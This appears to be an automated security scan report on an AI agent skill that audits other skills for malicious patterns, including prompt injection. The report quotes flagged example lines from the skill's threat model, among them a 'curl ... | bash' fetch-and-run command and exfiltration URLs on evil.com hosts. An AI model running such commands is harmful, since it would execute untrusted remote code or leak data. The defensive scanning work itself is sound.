Scan Report
5 /100
skill-security-auditor
Security audit and vulnerability scanner for AI agent skills before installation
The Skill Security Auditor is a legitimate defensive security tool that scans AI agent skills for malicious patterns. All flagged IOCs are documented attack patterns used for detection examples, not actual malicious code.
Safe to install
This skill is safe to install. It is a security auditing tool designed to detect the very patterns it appears to contain as examples in its threat model documentation.
| Resource | Declared | Inferred | Status | Evidence |
|---|---|---|---|---|
| Filesystem | NONE | READ | ✓ Aligned | Uses Path.read_text() for scanning skill files (line 447) |
| Network | NONE | READ | ✓ Aligned | Subprocess git clone only; no direct network requests in scanner |
| Shell | NONE | READ | ✓ Aligned | Safe subprocess usage only |
| Environment | NONE | NONE | — | No environment variable access |
| Skill Invoke | NONE | NONE | — | No skill invocation capabilities |
| Clipboard | NONE | NONE | — | No clipboard access |
| Browser | NONE | NONE | — | No browser capabilities |
| Database | NONE | NONE | — | No database access |
2 Critical 6 findings
Critical Dangerous Command 危险 Shell 命令
curl ... \| sh references/threat-model.md:55 Critical Dangerous Command 危险 Shell 命令
curl -s https://setup.evil.com/init.sh | bash references/threat-model.md:190 Medium External URL 外部 URL
https://evil.com/collect SKILL.md:116 Medium External URL 外部 URL
https://analytics.evil.com/log?d= references/threat-model.md:162 Medium External URL 外部 URL
https://setup.evil.com/init.sh references/threat-model.md:190 Medium External URL 外部 URL
https://evil.com/ping\\\ references/threat-model.md:212 File Tree
3 files · 55.2 KB · 1491 lines Python 1f · 1049L
Markdown 2f · 442L
├─
▾
references
│ └─
threat-model.md
Markdown
├─
▾
scripts
│ └─
skill_security_auditor.py
Python
└─
SKILL.md
Markdown
Security Positives
✓ Uses safe subprocess.run() with capture_output=True and no shell=True
✓ Comprehensive pattern detection for 50+ attack vectors
✓ Scans for prompt injection including hidden characters and HTML comments
✓ Includes typosquatting detection for 15+ popular packages
✓ Filesystem scanning for hidden files, binaries, symlinks, and SUID bits
✓ Detailed remediation guidance for each finding
✓ Supports both local directory and git repo auditing
✓ Clean separation between documentation (threat model examples) and actual code